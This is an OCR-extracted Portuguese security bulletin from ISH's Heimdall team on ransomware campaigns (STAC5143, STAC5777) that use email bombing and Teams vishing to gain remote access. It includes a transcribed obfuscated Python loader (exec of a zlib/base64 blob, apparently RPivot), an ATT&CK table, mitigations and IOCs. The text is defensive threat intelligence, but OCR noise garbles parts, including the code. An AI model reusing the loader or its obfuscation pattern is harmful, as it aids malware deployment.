TLP: CLEAR

BOLETIM DE
SEGURANCA

Campanhas de Ransomware utilizam "Email Bombing" e
"Vishing" via Microsoft Teams para comprometer
organizacoes

security research



) heimdall

security research

A DIVISION OF ISH

Acesse a nossa nova comunidade através do
WhatsApp!

Heimdall Security Research

i heimdall

security research

Uy

Heimdall Security
Research

Acesse boletins diarios sobre agentes de ameacas,
malwares, indicadores de comprometimentos, TTPs e
outras informacdes no site da ISH.

Boletins de Seguranca — Heimdall

/

Malware

Malware Ransomware

CONTAS DO FACEBOOK SAO INVADIDAS ALERTA PARA RETORNO DD MALWARE GRUPO DE RANSOMWARE CLOP

POR EXTENSOES MALICIOSAS DE EMOTET! EXPLORANDO VULNERABILIDADE PARA
NAVEGADORES NOVAS VIiTIMAS

0 malware Emotet ap6s permanecer alguns
Descoberto recentemente que atores meses sem operagdes retornou cou outro 0 grupo de Ransomware conhecido como
maliciosos utilizam extensées de meio de propagagao, via OneNote e também Clop esta explorando ativamente a
navegadores para realizar o roubo de cookies dos métodos ja conhecidos via Planilhas e vulnerabilidade conhecida como
de sessdes de sites como o Facebook. A Documentos do Microsoft Office CVE-2023-0669, na qual realizou o ataque a
extensdo maliciosa é oferecida como um diversas organizagoes e expds os dados no

anexo do ChatGPT. site de data leaks
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1 INTRODUGAO EXECUTIVA

Este relatério de seguranca, desenvolvido pela equipe de Inteligéncia de
Ameacas da ISH, Heimdall, tem como objetivo proporcionar uma compreensao
aprofundada e um dimensionamento preciso das ameacas cibernéticas
identificadas. O documento esta estruturado em trés niveis de abordagem:
Estratégico, Tatico e Operacional, garantindo uma visdo completa e integrada das
ameacas e acoes recomendadas.

2 ESTRATEGICO

2.1 SEGMENTO DE MERCADO
Os alvos potencialmente afetados por essa ameaca que sera descrita neste
relatdrio, incluem:

e Pequenas e médias empresas (PMEs)

e Organizacb6es com fornecedores de Tl terceirizados

e [nfraestrutura critica e servicos essenciais

e Empresas que utilizam redes amplamente distribuidas

2.2 IMPACTO FINANCEIRO POTENCIAL
e Roubo de credenciais e dados financeiros
e Perda de dados sensiveis
e Custos de recuperagéo e resposta
e Danos areputacao
e Penalidades legais e regulatdrias
e Interrupgdo operacional

2.3 OBJETIVO DA AMEAGA
O principal objetivo desta ameaca é obter acesso nado autorizado aos
sistemas das vitimas para roubar dados sensiveis e, eventualmente, implantar
ransomware, visando extorquir as organizagdes afetadas.
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3 TATICO

3.1 INFORMAGOES SOBRE A AMEAGCA

A Sophos identificou duas campanhas distintas de ransomware que
exploram funcionalidades do Microsoft Office 365 para obter acesso néao
autorizado a organizagdes. Esses ataques empregam taticas como "email
bombing" e "vishing" através do Microsoft Teams, visando sobrecarregar as vitimas
e facilitar a instalacdo de malware. A primeira campanha, denominada STAC5143,
apresenta possiveis conexdes com o grupo FIN7, enquanto a segunda, STAC5777,
esta associada ao grupo Storm-1811 e, em alguns casos, resulta na implantacao
do ransomware Black Basta.

3.2 OPERACAO E CAPACIDADE DA AMEAGA
Os atacantes demonstram habilidades e técnicas avangadas em suas
campanhas, incluindo:
Desenvolvimento e uso de malware personalizado

e No caso do STAC5143, foi observado o uso de arquivos Java Archive (JAR)
que extraem backdoors baseados em Python a partir de arquivos .zip
baixados de links do SharePoint.

Movimentacao lateral e persisténcia

e O STAC5777 utiliza ferramentas legitimas do Windows, como RDP e
Windows Remote Management, para acessar outros computadores narede
alvo e manter presenga continua.

Email Bombing:

e Envio massivo de emails (até 3.000 em menos de uma hora) para
sobrecarregar as caixas de entrada de individuos especificos, criando uma
sensacao de urgéncia.

Vishing via Microsoft Teams

e Envio de mensagens e realizagcdo de chamadas de voz e video através do
Teams, originadas de instancias controladas pelos atacantes, fingindo ser
suporte técnico da organizacao alvo.

Controle remoto

e Utilizacdo de ferramentas como o Microsoft Quick Assist ou
compartilhamento de tela do Teams para assumir o controle do computadg
da vitima e instalar malware.

Pagina 6|14



heimdall

security research

A DIVISION OF ISH

Em novembro, uma usuaria da Sophos relatou ao departamento interno de
Tl que havia recebido uma quantidade incomum de mensagens de spam — mais
de 3.000 em apenas 45 minutos. Logo apds, recebeu uma chamada externa no
Microsoft Teams de uma conta intitulada "Help Desk Manager". Por ser comum na
organizacgao utilizar um provedor de servigos gerenciados paraTl, afuncionaria nao
desconfiou e aceitou a videochamada. Durante a conversa, o atacante convenceu
a funcionaria a autorizar uma sessao de controle remoto via Teams. Com isso, o
invasor conseguiu abrir um shell de comando, transferir arquivos e executar
malwares. Esses arquivos foram carregados de um armazenamento do SharePoint
e incluiam arquivos JAR (Java Archive) e um arquivo .zip com cédigo Python e outros
componentes.

L = lambda __

__dimport__('zlib').decompress(__import__('baseé4') .bé4decode(__
[::-11));exec(( )

(b'/mQNV+h// /7zxxr2XvTFB93FTtzm@5MhwF kHbujGZASqQNFByv9116nrTD3L7+0jR3CDNOmgZaDMHwX
z7pmvPIiB8VgbNi+B4Hi2GallzpRnw+r6ROXRq2xFwsJzFhHqJ1kQknSKgKDd209I7uxPy2JQVgkezZhH
EKS542whor03GBzRHi8/oHk7qYQ35G0V9hYoaj41Ek]j7bFbimE9@s32DD8+cIzkxH4Q1Ds4DKM+ePgWu
LpHri7aKUrC+kkjwBP+WYe3i37mjX7YItbAPkuHNQz4qTdUtABUkK/qf f+X02h+aGTKxKzyrs2I7S1i8Z
cQ70ZVcbSF4tuSwvTyO4wCuODyyYcZ9ziJIDxUQméVV2K/7WGI1kKVhhFBQrp47ZURXx1pL3TZOxH18qg61
3viAQMtB3In3VFUUTECOG81sP74mNDk3@dNKXLNIN+a3diwDtM2cIPOT /ulmVXKoilHJjCyvnIXeng+m
fLLNnHedD5WS9Ke7d3S6V3F6eMpFxsd5Coaq3Eim/44FEG8ts jkcrHQMRa+FpR1i7EWg8i0Bg65GPRVTR
KNWOBLgIXxSUHIbcil2uFFkk8v+p5SylXwWMTd] /9ApiROZWVOGFFpTWZ+95A2wHPX9NGqMe+VBzvHhSs2 T
HXgNLXkbL99qSSPo@doxCjNreGelb4mE8sDa+gbnDjUsPqoRbdOBGTUBNEGTfBo7wISP3gR+m7VgbJIRhO
XxMyvAPMW6C+G/jPwUmI3U+H15unmpfo8CuG/0BAEXB8vtyiT/T880RvVUSXRamw626yPdLiJVDWAS]ze
GyY@eRofVcag9DY9elPbVMOTTXoVHY1TYV2se78SxMRnGg/25bGGD1DSgMkKQhhPV+aOAks xSENVONn7+
TshHIgb28KMHDESNTOTTzBzXLvG4bTFESVK2B4VEgDMs xFiTVdWeAeb2mi3on/u/4nMyitNj6ZTkXIo+
1MOtwe+xnIQOPC]jtX+JKeXeJeK/EMElcJi@P3Tb7ajOEghxNMQrIvIXWXBLF4YD/eb6g@bc3TcgcePeyF
WcUBcvmkFCvM7ihozpXgCMHADGYXS8VPBcilMTFGC8bBW13TMjhJ1XXHt1G1XUEVBUS6GBmMK3TgM+/KOU
NxW8tUoUeBNm+07ieDAG4uURB9ElalLmeoONsx5DKe jGfrr2oxu2bj /1SKg2JtZVgNdp3qlbxkcQaCS5eTc
EItD/tuPMDQmly9FuX@CMBLK1Umk7n42XxRrpISxQw4yAl61uSHR0d/hcP7TaDZ6TwKD8S+4jkoJyyc5n
BjN82bzbNCjntPIONms1vGVN16gHVFzZzykIsd+rvKWz6stCOtrGzIBUpTKW] CxIwp931ZxfbxL1ZmKEF
SK2+LBKKpiPAcb+CV+DeP4x5WuyUZs1ARh1IXFIEAiIOc6gn8txPJyjl1IBCTMFByXhdHAZTS1xeTurT4a@
ad9cbHOPASVLQSHAKTGsRNge vXkGKy3ydMccBnlRxQcNMeHdQpcQA+eLCux7h9EjwB1PGjpJOLMegdEF
IXRR1ZZKZBCSZVvuFWM2MRSGmMSiCk8RN6 tdZ56yNLnhohY7F8bwIsCUEy4WzHHE32WrGk211dvCTHedgr
T/davmliluCvbyVdUYé6JcMm+4cd+LAMLfkZohcBjJLBVCYjayMSGiK1sGhTfBcnKTg3nK/f7réiylF8cUU
zjH9svwuiJwW+sVixWbnXe3KaUpsk2q/G4kaia+3HrUcFm9oBeUKK7IX3A+e7Deké6b2Hzt15hn/ rhOUuh
EtoAEezQtxYLhvBulsIW3EWYQ7IBZHHtrQ9ZB2XKWiFJ6CF/MQVBNd/jT57ZV5PmdgkSPZzyNjXTS5cZmI
NObZQNSmMhSE fO78wh+Q+WBJ TWWTmQGRLIrMGjCh9McYKk9ND7 jKm@4FOYdB8wS4rSiI7kv3DO1m+5Ws5SV
078Vzq561Y7sWTg6oDvScGtIONAeGabKErStx66uAPAUI6gxSkKg3pP6Iy3jB8CnpkfuPvCITvw]XkxY
1c4KNzLVPeTlriQ9z13C6aESOyalVv5u9bte2eKMIjKXhJ71rkjwlKB8ynIz+MEHAONMBhZYZnRh2+5u
rJU/BwRI3C75mKM9awhLIdQZgvbV/VER6T9mM1ikVC7gX1IMyl4LT+EEdI1qsKE] x/WWHr2NyKtGKoc/pA
advn+MGueG+K6HyVaSHCUxJFzguSV4bF4ejogkdlTV4At4plk9+XtdsuUh9IJYt8zsKiminSmb3yTIGzd
mZ/9N1111DSThCDkI7aégi300iT+iotDgZVgID9Dnyqaor56/Ulip2L /A3DGwWUrTeeCmToxJISBpAGGWN
4D6u2JyvilalQéhDlfalJoAiPvguétmaTuiNthnb2b+TpreSxxesDd+YY7ZOsE2+oarVOR/cEEWfepLh

Figura 1 - Captura de tela do cddigo Python ofuscado do RPivot, contido no arquivo winter.zip implantado
pelos invasores STAC5143.

No caso do STAC5143, como no STAC5777, organizagdes-alvo receberam
um grande volume de e-mails de spam, seguidos por mensagens no Microsoft
Teams, onde os invasores se identificaram como parte da equipe interna de Tl.

Os adversarios usaram as mensagens no Teams para agendar uma
chamada, alegando que resolveriam os problemas de spam. No entanto,
diferentemente do STAC5143, os ataques do STAC5777 dependeram mais de
acdes diretas e comandos manuais executados pelos agentes da ameaca. Durante
os incidentes documentados pelo Sophos MDR, os atacantes instruiram os
usuarios a instalar o Microsoft Quick Assist durante a chamada no Teams,
estabelecendo uma sessao remota que permitiu o controle total do dispositivo.
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@ Help Desk . —

Complete

Figura 2 - Tela de investigagao cql’(‘)"é‘o’phos Central sobre a atividade.

O ator instruiu o usuario a localizar, baixar e executar a ferramenta de
acesso remoto Microsoft Quick Assist diretamente do site oficial. Apds a
instalagéo, o usuario foi orientado a conceder controle remoto ao atacante.

Figura 3 - Atividade no Microsoft Teams iniciada por um atacante com controle de um locatario externo do
M365.

O invasor usou o Microsoft Quick Assist para acessar o dispositivo,
configurando persisténcia ao executar o OneDriveStandaloneUpdater.exe, que
carregou lateralmente o winhttp.dll, permitindo o uso de um backdoor. O ataque
envolveu comandos PowerShell para configurar servicos e criar atalhos para
manter a persisténcia apds reinicializagdes. Configuragdes manuais incluiram
arquivos e IPs adicionados ao sistema para conexdes criptografadas de comando
e controle via hosts remotos, ligados a servidores associados a agentes russos. Ele
explorou a rede com varreduras SMB, RDP e WinRM, utilizando credenciais do alvo
para acessar sistemas e expandir o controle. Em algumas organizacdes, foi usado
acesso VPN e manipulacao de credenciais para login remoto. As taticas incluiram
desativar a autenticacao multifator local e tentativa frustrada de remover o Sophos
Endpoint Agent, também buscaram informagdes sensiveis, acessando arquivos
relacionados a senhas e diagramas de rede no Visio para planejar movimentos
laterais. Em um caso, tentaram executar o ransomware Black Basta, mas a
protecao de endpoint bloqueou a agao.

3.3 FRAQUEZAS EXPLORADAS

As campanhas exploram principalmente configuracdes padrdo do Microsoft
Teams que permitem a comunicagao com usuarios externos, além de praticas de
seguranca insuficientes por parte dos usudrios, como falta de verificacao de
identidade em solicitagdes de suporte técnico.
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3.4 TABELAMITRE ATT&CK

Este tdpico apresenta as Taticas, Técnicas e Procedimentos (TTPs)
identificados nesta ameaca, conforme o framework MITRE ATT&CK, oferecendo
uma visdo tatica detalhada sobre o comportamento do adversario. O objetivo é
permitir o mapeamento das técnicas utilizadas pelos atacantes, facilitando a
implementacdo de contramedidas eficazes e o aprimoramento das defesas de

segurancga.

Tatica

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and
Control

Exfiltration

Técnica

T1566.004
Phishing - Spearphishing
via Service

T1203
Exploitation for Client
Execution

T1547.001
Boot or Logon Autostart
Execution - Registry Run
Keys / Startup Folder

T1055
Process Injection

T1218.010
Signed Binary Proxy
Execution - Regsvr32

T1003 OS
Credential Dumping

T1083
File and Directory
Discovery
T1021.001
Remote Services -
Remote Desktop Protocol

T1114
Email Collection

T1071.001
Application Layer
Protocol - Web Protocols

T1041 Exfiltration Over C2

Channel

Detalhes

Os adversarios enviam mensagens via
Microsoft Teams, fingindo ser suporte
técnico, para enganar os usuarios e obter
acesso inicial aos sistemas.

Os atacantes exploram vulnerabilidades
em aplicativos do cliente, como o
Microsoft Teams, para executar cdédigo
malicioso nos sistemas das vitimas.

Para manter o acesso, os adversarios
configuram o malware para iniciar
automaticamente durante a inicializagao
do sistema, modificando chaves de
registro ou pastas de inicializagao.

Os atacantes injetam cddigo malicioso
em processos legitimos para escalar

privilégios dentro do sistema
comprometido.

Utilizam  ferramentas legitimas do
Windows, como o Regsvr32, para

executar coédigo malicioso e evitar a
deteccao por solugdes de seguranca.

Os adversarios extraem credenciais do
sistema operacional para facilitar
movimentos laterais e acesso a outras
partes darede.

Realizam reconhecimento de arquivos e
diretérios no sistema comprometido para
identificar dados de interesse.

Utilizam o Protocolo de Area de Trabalho
Remota (RDP) para se mover lateralmente
dentro da rede comprometida.

Coletam emails do sistema
comprometido para obter informacgdes
confidenciais ou facilitar ataques
adicionais.

Estabelecem canais de comando e
controle usando protocolos da camada
de aplicagao, como HTTP ou HTTPS, para
comunicar-se com sistemas
comprometidos.

Exfiltram dados através do mesmo
de comando e controle utiliz
comunicagado com o malwar

Pagina 9|14



https://attack.mitre.org/

heimdall

security research

A DIVISION OF ISH

Os adversarios criptografam dados

T1486 o . .
criticos no sistema comprometido para
Impact Data Encrypted for . e ..
Impact extorquir a vitima, exigindo pagamento de

resgate para a descriptografia.
Tabela 1-Tabela MITRE ATT&CK
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4 RECOMENDAGOES

Além dos indicadores de comprometimento elencados abaixo pela ISH,
poderdo ser adotadas medidas visando a mitigacdo da infeccdo da referida
ameaga, como por exemplo:

Revisao das configuragoes do Microsoft Teams

e Restringir a capacidade de usuarios externos iniciarem comunicagdes com
funcionarios internos, ajustando as configuragoes de permissdes e acesso.

Treinamento de conscientizacao de seguranca

e Educar os funcionarios sobre as taticas de engenharia social utilizadas,
enfatizando a importancia de verificar a legitimidade de solicitagcbes de
suporte técnico recebidas através de canais como o Teams.

Implementacao de Autenticagao Multifator (MFA)

e Exigir MFA para acesso a contas e servigos criticos, dificultando o
comprometimento por parte dos atacantes.

Monitoramento e registro de atividades

e |Implementar solucdes de monitoramento para detectar atividades
suspeitas, como volumes incomuns de e-mails ou tentativas de acesso
remoto ndo autorizadas.

Aplicacao de patches e atualizacoes

e Manter todos os sistemas e softwares atualizados com os patches de
seguranca mais recentes para reduzir a superficie de ataque.
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5 OPERACIONAL

A ISH Tecnologia realiza o tratamento de diversos indicadores de
compromissos coletados por meio de fontes abertas, fechadas e também de
analises realizadas pela equipe de seguranca Heimdall. Diante disto, abaixo
listamos todos os Indicadores de Comprometimento (IOCs) relacionadas a analise
do(s) artefato(s) deste relatoério.

5.1 INDICADORES DE COMPROMETIMENTO (l0C)

Indicadores do artefato

md5: 5b3961db845¢c3cab5e9b9e83bf850ab1e
sha1: 544ef79af9¢9924097e6b28faed6d2c20a15¢c555
sha256: a23560a3b9a9578dcd70bcd01434b2053940d6be36e543df8e4d36931ca9ea63

File name: eplgOE.dll

Indicadores do artefato

md5: 4f1337¢b5969222feb51231e56e40a82
sha1: 9d56a0b27929a23f4b806bd79b4014d18bfad1cd
sha256: 42d09288a78363cac90759ddce814a420f22d174768c1e406bf2d8fed2c38ade

File name: 166_65.py

Indicadores do artefato

md5: 1b4ddb3fcec6ba9ce7343cf5d28098b1
sha1: ea2ce0a23f8f2d71704a9246e55ae74c1b180f49
sha256: 8abc8c92ebfe78f54e7488a467d1b6e90d28382067b49a954e31133691112¢eba

File name: 37_44.py

Indicadores do artefato

md5: 6875bbe96966544ad90ae01ef01aea78
sha1: 7f0a9cd6fd2c84164fcc99fc1f92ceaacd455650
sha256: 697d5213d69cdfbd943c6d395f907b8fe210bbfc9d78a9d41a046bas5bebb5ff

File name: 45_237_80.py
Tabela 2 - Indicadores de Comprometimento

5.2 INDICADORES DE URL, IPs E DOMINIOS
Indicadores de URL, IPs e Dominios
IP 207.90.238[.]99
109.107.170[.]2
195.133.1[.]117
206.206.123[.]175
194.87.39[.]1183
74.178.90[.]36
195.123.241[.]24
207.90.238[.]146
Tabela 3 - Indicadores de Comprometimento de Rede.

Obs: Os links e enderegos IP elencados acima podem estar ativos; cuidado ao reald
manipulagao dos referidos 10Cs, evite realizar o clique e se tornar vitima do conteudo
hospedado no loC.
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